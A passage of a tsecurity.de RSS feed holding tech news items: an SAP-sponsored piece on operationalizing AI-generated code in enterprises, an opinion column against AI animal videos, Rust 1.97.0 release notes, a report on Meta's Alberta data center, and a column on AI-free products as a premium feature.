<content:encoded><![CDATA[<p><i>Presented by SAP</i></p><hr><p>Generating code with AI is fast, but getting that code to run reliably inside a large enterprise, integrated with live systems, governed for compliance, and maintainable over years requires foundational work that most organizations underestimate. </p><p>While 81% of all organizations have a detailed strategy, <a href="https://www.sap.com/research/most-companies-have-an-ai-strategy-only-1-in-8-can-execute-it">only 12–16% reach AI‑driven execution</a>, says SAP's Michael Ameling, CPO of SAP Business Technology Platform, and the reasons rarely come down to the quality of the generated code.</p><p>"Across industries, enterprises that have invested heavily in AI tooling are hitting a wall when generated code meets the reality of their existing environments, because generating code and operationalizing it are not the same problem," Ameling says. </p><p>There are specific requirements for deploying AI-generated logic at enterprise scale: what data and integration readiness actually look like, how governance works when AI agents move from producing recommendations to executing workflows, and how development teams are changing their role as AI takes over more of the coding work.</p><h2>Why AI code generation fails in enterprise production environments</h2><p>The productivity gains from AI code generation are real and well-documented, but the ease of prototyping has given many organizations a misleading sense of how far along they actually are. </p><p>"Generating code is one thing," Ameling says. "Enterprise customers, including multinationals and large organizations, need to ensure there are no compromises in compliance or security. Code that runs reliably for ten or twenty years, as it does at many of SAP's largest customers, also has to be maintained, patched, and understood by whoever inherits it. Life cycle management, in other words, does not generate itself."</p><p>The issue is rarely the generation quality. Teams build something compelling, then discover they lack access to the data it depends on, or the integrations it assumes, or the permissions required to run it in a real environment. The problem is essentially that AI amplifies an organization's existing data and process maturity, but it can't substitute for it.</p><p>This dynamic intensifies as AI moves from producing code to executing actions. Latency, cost, and system load all increase when logic runs continuously against live data rather than rendering a one-time output. The performance requirements of an autonomous agent operating across a multinational's transaction systems are categorically different from those of a developer copilot.</p><h2>How to connect AI-generated logic to fragmented enterprise systems</h2><p>The architecture challenge that most enterprise AI projects underestimate is integration. Real enterprise environments are not clean slates: they combine cloud systems, legacy on-premise infrastructure, fragmented data stores, and dozens of business applications that were never designed to talk to each other. Getting AI-generated logic to operate reliably across all of them requires a layer that unifies data access, process context, and governance, and it has to be in place before any agent starts executing. And organizations that see AI as a reason to defer infrastructure modernization are making a mistake. </p><p>"The question is not whether to modernize or not. Of course you need to modernize," Ameling says. "But the value you get on top of this is much higher with AI. Federated data access and harmonized process layers are not alternatives to upgrading a fragmented landscape, they're what make the upgrade worthwhile."</p><p>At the platform level, this translates into a set of practical requirements: structured data integration, end-to-end process visibility, and the ability to discover and connect to APIs across both modern and legacy systems. SAP's approach with the Business AI Platform draws on tools including its Joule Studio, Integration Suite, Business Data Cloud, and SAP AI Agent Hub enterprise architecture layer to provide that context. The goal is to give AI-generated logic accurate, current knowledge of what a business is doing and how, rather than just access to raw data.</p><p>AI agents handle large challenges by dividing them into smaller, autonomous tasks, with each agent responsible for a specific domain, and all coordinated toward a shared outcome. A financial close, for example, involves dozens of discrete sub-processes. Agents handling each task in parallel, within defined constraints, can compress cycle times dramatically, but only if the underlying systems they interact with are coherent and accessible.</p><h2>The governance and oversight that AI agents require in production</h2><p>When AI moves from assistant to operational actor, the governance questions loom large, because agents that trigger workflows, update records, and interact with live business systems need the same accountability framework that applies to human employees, i.e., identities, defined privileges, and auditable behavior.</p><p>There are two distinct models:</p><p>Principal propagation, where an agent acts on a user’s behalf, inheriting that user’s permissions and scope.</p><p>System-triggered agents, where the agent operates under its own identity and role-defined privileges, functioning more like an automated HR role than a personal assistant.</p><p>Both models require the same underlying infrastructure: an agent hub where operators can see which agents exist, what APIs they can access, and what they are authorized to do. Observability also needs to be operationalized correctly for AI, combined with both technical and business evals. </p><p>"In production, openness is very important," Ameling says. "We use OpenTelemetry as a framework, so we can integrate with other solutions, for end-to-end observability of the tool, third-party agents and the like."</p><p>On top of that, standard technical evals, which test whether an agent produces consistent outputs, are necessary but not enough. Business evals assess whether an agent is actually moving the performance indicators it was deployed to improve, but it has to work end-to-end.</p><p>Where the testing happens is equally important. The traditional software development cycle across dev, test, and production environments breaks down when a model produces different outputs depending on whether it is running against test data or live data. Getting to trustworthy AI in production means accepting that validation looks fundamentally different from what engineering teams have practiced for decades, with live environment testing, even A/B/C testing to ensure outcomes are reliable.</p><h2>How AI-driven code generation is changing software engineering roles</h2><p>The role of the developer is not disappearing in this environment, but its center of gravity is shifting. The productivity multiplier is significant when developers can run multiple coding agents in parallel across open terminals, each working on a separate problem and each taking several minutes to complete. But it introduces a new kind of cognitive demand, because humans have to stay in the loop. That means tracking context across concurrent workstreams, evaluating outputs that range across large codebases, and making architectural judgments that no agent can be trusted to make alone.</p><p>"The more specific and complete the prompt, the less intervention is required, and developers are learning that bringing more context upfront pays dividends in reduced back-and-forth," Ameling says. "But the output still needs to be understood, not just accepted."</p><p>The competitive edge will remain intellectual property, not tooling. The companies that pull ahead will be those that most effectively encode their domain knowledge into the systems they build.</p><p>"A manufacturer's process expertise, a financial institution's risk logic, a logistics firm's routing intelligence, these are the assets that AI can accelerate, but only if the organizations that hold them do the work to make them accessible and usable," Ameling says. "Protect that, and apply AI to accelerate your differentiation."</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[We don’t need AI videos of fake animals. There are real ones out there and they’re really cute | Rebecca Shaw]]></title>
<description><![CDATA[I can’t be delighted by something produced with generative AI. Give me books written by complicated people, drawings by sweet idiots, songs by those who feelGenerative AI has gone too far. Many have said it, but I need to add my human voice to the cacophony.There are many reasons I dislike the gr...]]></description>
<link>https://tsecurity.de/de/3657462/ai-nachrichten/we-dont-need-ai-videos-of-fake-animals-there-are-real-ones-out-there-and-theyre-really-cute-rebecca-shaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657462/ai-nachrichten/we-dont-need-ai-videos-of-fake-animals-there-are-real-ones-out-there-and-theyre-really-cute-rebecca-shaw/</guid>
<pubDate>Thu, 09 Jul 2026 17:03:19 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>I can’t be delighted by something produced with generative AI. Give me books written by complicated people, drawings by sweet idiots, songs by those who feel</p><p>Generative AI has gone too far. Many have said it, but I need to add my human voice to the cacophony.</p><p>There are many reasons I dislike the growing use of generative AI. It is environmentally disastrous, necessitating massive, water-guzzling datacentres. In a world where many people do not have access to clean water and where countries like Australia suffer worsening droughts, people are unthinkingly wasting it to carry out basic tasks like sending an email or writing a grocery list.</p><p><strong><a href="https://www.theguardian.com/australia-news/2021/dec/21/sign-up-for-five-great-reads-guardian-australias-wrap-of-our-best-summer-stories">Sign up for a weekly email featuring our best reads</a></strong></p> <a href="https://www.theguardian.com/commentisfree/2026/jul/10/ai-videos-fake-animals-real-ones-are-cute">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rust 1.97.0]]></title>
<description><![CDATA[Language

Consider Result and ControlFlow to be equivalent to T for must use lint
Add allow-by-default dead_code_pub_in_binary lint for unused pub items in binary crates
Stabilize the div32, lam-bh, lamcas, ld-seq-sa and scq target features
Stabilize cfg(target_has_atomic_primitive_alignment)
All...]]></description>
<link>https://tsecurity.de/de/3657013/downloads/rust-1970/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657013/downloads/rust-1970/</guid>
<pubDate>Thu, 09 Jul 2026 14:31:30 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a></a></p>
<h2>Language</h2>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/148214" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/148214/hovercard">Consider <code>Result&lt;T, Uninhabited&gt;</code> and <code>ControlFlow&lt;Uninhabited, T&gt;</code> to be equivalent to <code>T</code> for must use lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/149509" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/149509/hovercard">Add allow-by-default <code>dead_code_pub_in_binary</code> lint for unused pub items in binary crates</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154510" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/154510/hovercard">Stabilize the <code>div32</code>, <code>lam-bh</code>, <code>lamcas</code>, <code>ld-seq-sa</code> and <code>scq</code> target features</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155006" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/155006/hovercard">Stabilize <code>cfg(target_has_atomic_primitive_alignment)</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155137" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/155137/hovercard">Allow trailing <code>self</code> in imports in more cases</a></li>
</ul>
<p><a></a></p>
<h2>Platform Support</h2>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/152443" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/152443/hovercard">nvptx64-nvidia-cuda: drop support for old architectures and old ISAs</a></li>
</ul>
<p>Refer to Rust's <a href="https://doc.rust-lang.org/rustc/platform-support.html" rel="nofollow">platform support page</a> for more information on Rust's tiered platform support.</p>
<p><a></a></p>
<h2>Stabilized APIs</h2>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/iter/struct.RepeatN.html#impl-Default-for-RepeatN%3CA%3E" rel="nofollow"><code>Default for RepeatN</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/ffi/struct.FromBytesUntilNulError.html#impl-Copy-for-FromBytesUntilNulError" rel="nofollow"><code>Copy for ffi::FromBytesUntilNulError</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154003" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/154003/hovercard"><code>Send for std::fs::File</code> on UEFI</a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_highest_one" rel="nofollow"><code>&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_lowest_one" rel="nofollow"><code>&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.highest_one" rel="nofollow"><code>&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.lowest_one" rel="nofollow"><code>&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.bit_width" rel="nofollow"><code>&lt;{integer}&gt;::bit_width</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_highest_one" rel="nofollow"><code>NonZero&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_lowest_one" rel="nofollow"><code>NonZero&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.highest_one" rel="nofollow"><code>NonZero&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.lowest_one" rel="nofollow"><code>NonZero&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.bit_width" rel="nofollow"><code>NonZero&lt;{integer}&gt;::bit_width</code></a></li>
</ul>
<p>These previously stable APIs are now stable in const contexts:</p>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.char.html#method.is_control" rel="nofollow"><code>char::is_control</code></a></li>
</ul>
<p><a></a></p>
<h2>Cargo</h2>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/16796" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/cargo/pull/16796/hovercard">Stabilize <code>build.warnings</code> config.</a> This controls how lint warnings from local packages are treated. Useful for enforcing a warning-free build in CI, replacing <code>-Dwarnings</code>. <a href="https://doc.rust-lang.org/nightly/cargo/reference/config.html#buildwarnings" rel="nofollow">docs</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/16694" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/cargo/pull/16694/hovercard">Stabilize <code>resolver.lockfile-path</code> config.</a> This allows specifying the path to the lockfile to use when resolving dependencies. Useful when working with read-only source directories. <a href="https://doc.rust-lang.org/nightly/cargo/reference/config.html#resolverlockfile-path" rel="nofollow">docs</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/16712" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/cargo/pull/16712/hovercard">cargo-clean: Error when <code>--target-dir</code> doesn't look like a Cargo target directory.</a> This prevents accidental deletion of non-target directories.</li>
<li><a href="https://github.com/rust-lang/cargo/pull/16858" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/cargo/pull/16858/hovercard">Add <code>-m</code> shorthand for <code>--manifest-path</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/16936" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/cargo/pull/16936/hovercard">Remove <code>curl</code> dependency from <code>crates-io</code> crate</a></li>
</ul>
<p><a></a></p>
<h2>Rustdoc</h2>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/146220" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/146220/hovercard">Stabilize <code>--emit</code> flag</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155307" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/155307/hovercard">Stabilize <code>--remap-path-prefix</code></a></li>
</ul>
<p><a></a></p>
<h2>Compatibility Notes</h2>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/139087" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/139087/hovercard">Emit a future-compatibility warning when relying on <code>f32: From&lt;{float}&gt;</code> to constrain <code>{float}</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/151994" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/151994/hovercard">Rust will use the v0 symbol mangling scheme by default.</a> This may cause some tools (such as debuggers or profilers, especially with old versions) to fail to demangle symbols emitted by Rust. It may also cause the formatting of text in backtraces to change.</li>
<li><a href="https://github.com/rust-lang/rust/pull/153457" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/153457/hovercard">Prevent deref coercions in <code>pin!</code>, in order to prevent unsoundness.</a> The most likely case where this might impact users is: writing <code>pin!(x)</code> where <code>x</code> has type <code>&amp;mut T</code> will now always correctly produce a value of type <code>Pin&lt;&amp;mut &amp;mut T&gt;</code>, instead of sometimes allowing a coercion that produces a value of type <code>Pin&lt;&amp;mut T&gt;</code>. This coercion was previously incorrectly allowed since Rust 1.88.0.</li>
<li><a href="https://github.com/rust-lang/rust/pull/153873" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/153873/hovercard">Deprecate <code>std::char</code> constants and functions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/153968" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/153968/hovercard">Warn on linker output by default</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/153975" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/153975/hovercard">Remove hidden <code>f64</code> methods which have been deprecated since 1.0</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154599" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/154599/hovercard">report the <code>varargs_without_pattern</code> lint in deps</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154971" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/154971/hovercard">Forbid passing generic arguments to module path segments even if the module reexports a generic enum variant</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155065" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/155065/hovercard">Error on invalid macho <code>link_section</code> specifier</a></li>
<li>The encoding of certain <code>enum</code>s <a href="https://github.com/rust-lang/rust/pull/155473" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/155473/hovercard">have changed</a>. This is not a breaking change, as it only applies to <code>enum</code>s without layout guarantees, but is noted here as we've seen people impacted from having made assumptions about the layout algorithm.</li>
<li><a href="https://github.com/rust-lang/rust/pull/155515" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/155515/hovercard">Error on <code>#[export_name = "..."]</code> where the name is empty</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155698" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/155698/hovercard">Syntactically reject tuple index shorthands in struct patterns</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155817" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/155817/hovercard">validate <code>#[link_name = "..."]</code> &amp; <code>#[link(name = "...")]</code> parameters</a></li>
<li>On Windows, after calling <code>shutdown</code> on a socket to shut down the write side, attempting to write to the socket will now produce a <code>BrokenPipe</code> error rather than <code>Other</code>. <a href="https://github.com/rust-lang/rust/pull/156063" data-hovercard-type="pull_request" data-hovercard-url="/rust-lang/rust/pull/156063/hovercard">Map <code>WSAESHUTDOWN</code> to <code>io::ErrorKind::BrokenPipe</code></a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta To Build $9 Billion Alberta Data Center, Its First In Canada]]></title>
<description><![CDATA[Meta will build its first Canadian data center in Alberta, investing $9 billion in a 1-gigawatt facility that can scale to 1.8 gigawatts to support its AI infrastructure needs. The project will rely on new generation and grid infrastructure funded by Meta, including a long-term agreement tied to ...]]></description>
<link>https://tsecurity.de/de/3656778/it-security-nachrichten/meta-to-build-9-billion-alberta-data-center-its-first-in-canada/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656778/it-security-nachrichten/meta-to-build-9-billion-alberta-data-center-its-first-in-canada/</guid>
<pubDate>Thu, 09 Jul 2026 13:08:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Meta will build its first Canadian data center in Alberta, investing $9 billion in a 1-gigawatt facility that can scale to 1.8 gigawatts to support its AI infrastructure needs. The project will rely on new generation and grid infrastructure funded by Meta, including a long-term agreement tied to a new natural gas power facility. The company says it will offset electricity use with clean and renewable energy investments. Reuters reports: Meta has doubled down on AI, pledging hundreds of billions of dollars to build large AI data centers in the U.S. The Alberta announcement represents the company's 33rd data center globally. Executives made the announcement in Calgary alongside Premier Danielle Smith and other Alberta government officials, who have spent several years courting Silicon Valley tech giants with the aim of spurring a large-scale investment in the oil-and-gas province. Alberta's technology minister, Nate Glubish, told reporters there are currently several other gigawatt-scale data center proposals in various stages of development in the province. "This is the first of its kind, the first of its size, the first of its scale, but it won't be the last," Glubish said.
 
Meta, like other tech giants, is facing rapidly expanding power needs due to the growth of AI, and Alberta is rich in natural gas which sells at a significant discount to the U.S. benchmark. The province's cold climate also makes cooling the massive super-computers and related data center infrastructure more cost-efficient. The 20 existing small- to mid-scale data centers in Alberta already pull from the province's energy grid, which is 60% powered by natural gas. The provincial government is giving new proponents the option to build their own power sources to avoid limits on power capacity. Meta said Wednesday it will fully fund new generation and grid infrastructure for its Alberta data center, which will consume about as much electricity as 800,000 homes. Gary Demasi, Meta's vice president for data center development, said the company will offset that electricity use by investing in clean and renewable energy. He also said the data center will use a closed-loop liquid cooling system, meaning its total water use will be less than that of a typical golf course.
 
[...] The company has partnered with Alberta-based Pembina Pipeline , which announced last week it will go ahead with its Greenlight Electricity Centre, a new natural gas-fired power-generation facility in Sturgeon County which will be in service in late 2030 and with which Meta has a long-term tolling agreement. Until that project is operational and for the next decade, Alberta-based power producer Capital Power will provide 250 megawatts of electricity for the site using its existing natural gas-fired fleet. The project will require approximately 150 million cubic feet per day of natural gas, according to Pembina, helping to create demand for Western Canadian natural gas producers.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Meta+To+Build+%249+Billion+Alberta+Data+Center%2C+Its+First+In+Canada%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F09%2F0436235%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F09%2F0436235%2Fmeta-to-build-9-billion-alberta-data-center-its-first-in-canada%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/09/0436235/meta-to-build-9-billion-alberta-data-center-its-first-in-canada?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The next killer AI feature? No AI at all]]></title>
<description><![CDATA[Chatting with readers and regular folks in the real world these days, I can’t help but notice a common theme anytime the topic of AI comes up.



It’s an almost amusingly extreme contrast: While the myopic world of tech people (and the type of mostly AI-powered “thought leaders” you see posting i...]]></description>
<link>https://tsecurity.de/de/3656555/ai-nachrichten/the-next-killer-ai-feature-no-ai-at-all/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656555/ai-nachrichten/the-next-killer-ai-feature-no-ai-at-all/</guid>
<pubDate>Thu, 09 Jul 2026 11:48:21 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Chatting with readers and regular folks in the real world these days, I can’t help but notice a common theme anytime the topic of AI comes up.</p>



<p>It’s an almost amusingly extreme contrast: While the myopic world of tech people (and the type of mostly AI-powered “thought leaders” you see posting in turbo-speed on LinkedIn) are waxing endlessly about AI’s amazing impact on society and all the ways it’s, like, <em>totally</em> <em>revolutionizing workflow, bruh</em>, the average human’s take on AI can best be summed up with a single word:</p>



<p>Exasperation.</p>



<p>With shockingly little exception, almost every non-tech-obsessed organism I interact with reacts with something between an eye-rolling sigh and a fed-up facepalm whenever the prevalence of AI arises. It’s almost like having an on-demand in-person GIF gallery of “frustration” available at your fingertips — just mention AI, and you’ll get a meme-worthy reaction from anyone around you.</p>



<p>It’s such a dramatic divergence from the glowingly excited hype we hear left and right from the tech industry itself and the seemingly small but vocal group of overly enthusiastic evangelists who create an echo chamber around it. And that very contrast and the disparity between what tech companies are giving us and what tech users actually <em>want</em> these days led me to a bit of an epiphany this week: </p>



<p>AI may well be creating a killer feature that people will be willing to pay to possess. It’s just not the one most AI-fixated entities are focused on creating — quite the opposite, in fact.</p>



<p><strong>[Get level-headed knowledge in your inbox with </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>my free Android Intelligence newsletter</strong></a><strong> — practical tech talk by humans, for humans.]</strong></p>



<h2 class="wp-block-heading"><strong>The AI availability irony</strong></h2>



<p>I’ve said it before, and I’ll say it again: In many ways, Gemini — Google’s generative AI chatbot and overall AI layer — <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">is the new Google+</a>.</p>



<p>It’s a solution in search of a problem. No one is asking for it and most typical tech users increasingly seem to find its presence actively irksome and invasive — and yet Google continues to insist on shoving it into our faces at every possible opportunity. More and more with every passing week, the company’s adding AI elements into almost every app and service regardless of whether they’re actually helpful in that context. In many cases, in fact, they’re unnecessary, useless, even <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">outright creepy</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">creating very real problems and liabilities</a> for businesses and individuals alike.</p>



<p>It’s not just Google, of course. The same tale is taking place with practically every tech provider big and small right now. Everyone is cramming AI into every nook and cranny and thinking more about the <em>idea</em> of integrating artificial intelligence — mostly just for the sake of having it there — than creating an optimal experience for the people who actually use said services.</p>



<p>That, in turn, is creating a whole new category of productivity experience that people are actually lining up to pay for — a premium feature of sorts, related to AI and its presence in our lives.</p>



<p>Ready for the most delicious irony of all? The killer AI feature of which we speak is a <em>lack</em> of AI — or at least the ability to disable and avoid it and use it only if and when <em>you</em> want.</p>



<p>It’s not just an anecdotal feeling, either. It’s a measurable trend that may still be in its infancy but is absolutely taking shape around us.</p>



<p>Take, for instance, <a href="https://kagi.com/">Kagi</a> — an ad-free, privacy-centric search service that’s been quietly <a href="https://www.fastcompany.com/91268933/google-alternatives-kagi" target="_blank" rel="noreferrer noopener">building a viable alternative to Google Search</a> for several years already. The proposition is simple: You pay <a href="https://kagi.com/pricing" target="_blank" rel="noreferrer noopener">a monthly fee</a> — five bucks a month for limited use or $10 for unlimited searching — and you get a search engine that’s designed to serve <em>you</em> instead of revolving around the interest of both advertisers and corporate AI initiatives.</p>



<p>The Kagi search experience is clean, simple, and effective — and, most notably for our current conversation, free from all the <a href="https://www.computerworld.com/article/1618297/google-bard-chatgpt-bing-ai-chatbot-search.html">often accuracy-challenged</a> AI-generated “answers” that are now plastered atop most Google searches. You just get the results you want, without any experience-harming interruptions or distractions — because <em>you’re</em> paying for the service. Those five or 10 smackeroos you send over each month restructure the entire relationship and ultimately change everything about the service’s trajectory.</p>



<p>When I wrote a profile piece about Kagi last February, the service <a href="https://www.fastcompany.com/91268933/google-alternatives-kagi#:~:text=Kagi%20boasts%2038%2C000%20paying%20subscribers" target="_blank" rel="noreferrer noopener">boasted 38,000 paying subscribers</a>. Today, according to <a href="https://kagi.com/stats" target="_blank" rel="noreferrer noopener">Kagi’s public stats page</a>, its subscriber base has nearly doubled — to 72,847 users, as of this writing.</p>



<p>It may still be a drop in the bucket — and it may <em>always</em> be a niche demand, in the grand scheme of the global tech picture — but it represents a rapidly growing demand. And Kagi isn’t the only player seeing both the demand and the resulting opportunity. Practically every time Google pushes AI further into its search setup, the privacy-focused (and AI-optional) search provider DuckDuckGo <a href="https://www.fastcompany.com/91548936/google-alternative-ai-free-search-results-surge-in-usage" target="_blank" rel="noreferrer noopener">reports a surge in <em>its</em> adoption</a> as well.</p>



<p>And search isn’t the only arena where this same sentiment is starting to boil over. I hear constantly from folks who are growing ever-more frustrated with all the unavoidable AI integration in other productivity tools, ranging from email to notes and even just plain ol’ document writing. Heck, I <a href="https://www.computerworld.com/article/4185219/oh-behave-how-gemini-can-reshape-the-web-for-the-way-you-work.html#:~:text=Custom%20extension%20category%20%231%3A%20The%20interface%20fixer">created my own custom interface for Google Docs on the desktop</a> (<a href="https://www.computerworld.com/article/4185219/oh-behave-how-gemini-can-reshape-the-web-for-the-way-you-work.html">with the help of Gemini</a>, in another delightfully ironically twist) just to escape from all the over-the-top noise Google keeps adding into that environment. It’s a nerdy hack, to be sure — and it’s an opportunity for someone crafty to come in and create an <em>actual</em> solution, in the style of what Kagi has done with search, to more effectively address that same underlying desire.</p>



<p>More and more research is starting to reflect that yearning for practical, useful tech tools that aren’t larded down with AI for the sake of AI. A <a href="https://wpvip.com/resources/reports/future-of-the-web-2026/" target="_blank" rel="noreferrer noopener">recent study</a> by Automattic (the behind WordPress) found 60% of people say AI in a brand’s messaging is more of a turnoff than a feature. My own smaller (and much less scientific, though also more specifically focused) <a href="https://theintelligence.com/43250/how-do-you-feel-about-ai-results-appearing-in-regular-web-searches/" target="_blank" rel="noreferrer noopener">poll</a> of folks who read <a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener">my Android Intelligence newsletter</a> found that only 9% of Android-owning animals said they generally loved the presence of AI results in regular web searches — with 26% outright hating it and 64% saying it depends on the situation but that they at least sometimes find it to be more annoying than useful.</p>



<p>So as company after company crams AI into everything and startup after startup jumps on that same steamy bandwagon, the question in my mind is less about what the next big advancement in AI will bring into our lives and more about what interesting opportunities the <em>lack</em> of AI — or at least the ability to limit its influence on a productivity experience and decide for yourself how and when <em>you </em><a href="https://www.computerworld.com/article/4007736/gemini-android.html">actually want to use it</a> — will create.</p>



<p>It’s easy to imagine a scenario in which services like Kagi and DuckDuckGo start to offer AI-free or even just AI-optional alternatives to apps that are being overrun with irritating and countereffective AI integrations — things like Docs, Notion, Slack, and any number of <a href="https://www.computerworld.com/article/4155960/the-top-priority-for-adobes-next-ceo-prepping-for-the-age-of-agents.html">design tools</a>. And it’s equally easy to imagine plenty of people and places being enticed by that <em>lack </em>of AI as a premium feature worth paying to experience.</p>



<p>It may inevitably remain a relatively niche market compared to the more mainstream tech solutions. But for people and organizations woefully underwhelmed with the current direction tech’s taking and willing to shell out cash for quality, it’s an intriguing notion — and an area well worth watching as the AI invasion continues crashing into every last corner of our virtual lives.</p>



<p><em>Sick of AI for the sake of AI? Check out </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free weekly Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>for original human thinking and actually-helpful ways to make the most of your devices.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why fixing your data architecture matters more than upgrading your detection models]]></title>
<description><![CDATA[Security leaders have been on a spending sprint. The global AI in cybersecurity market is valued at $44 billion in 2026 and is projected to reach $213 billion by 2034, a trajectory that reflects genuine belief that machine learning will close the gap between the volume of threats and the capacity...]]></description>
<link>https://tsecurity.de/de/3656446/it-security-nachrichten/why-fixing-your-data-architecture-matters-more-than-upgrading-your-detection-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656446/it-security-nachrichten/why-fixing-your-data-architecture-matters-more-than-upgrading-your-detection-models/</guid>
